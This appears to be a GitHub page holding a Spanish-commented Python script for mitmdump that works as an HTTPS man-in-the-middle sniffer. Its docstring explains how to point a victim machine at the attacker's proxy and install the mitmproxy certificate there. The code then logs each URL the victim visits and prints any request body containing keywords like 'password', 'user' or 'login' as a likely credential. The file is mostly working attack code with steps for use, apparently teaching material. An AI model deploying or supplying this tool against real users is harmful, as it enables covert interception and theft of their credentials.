-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path04_https_sniffer_mitmdump_02.py
More file actions
60 lines (40 loc) · 1.49 KB
/
04_https_sniffer_mitmdump_02.py
File metadata and controls
60 lines (40 loc) · 1.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# /usr/bin/env python3
"""
HTTPS sniffer - MITM Proxy
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
2. Ejecutar binario mitmweb o mitmproxy.
3. Configurar el proxy en la máquina víctima. (IP:8080)
4. Comprobar en la url mitm.it desde la máquina de la victima que
ya puedes descargar el certificado
5. Instalar el certificado en la máquina de la víctima
6. Observar el tráfico en la máquina del atacante
7. Ejecutar el script con el binario mitmdump con la opción -s para
indicar el script a ejecutar y personalizar la recogida de información
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
"""
from mitmproxy import http
from urllib.parse import urlparse
def has_keywords(data, keywords):
"""
Esta función comprueba si en la petición se encuentran las palabras
clave que nos interesan
"""
return any(keyword in data for keyword in keywords)
def request(packet):
"""
Esta función se ejecuta cada vez que se realiza una petición
"""
url = packet.request.url
parsed_url = urlparse(url)
scheme = parsed_url.scheme
domain = parsed_url.netloc
path = parsed_url.path
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
keywords = [
"login", "signin", "logon",
"password", "pass", "passwd",
"user", "username"
]
data = packet.request.get_text()
if has_keywords(data, keywords):
print(f"\n\nPosible credencial:\n\n{data}\n\n")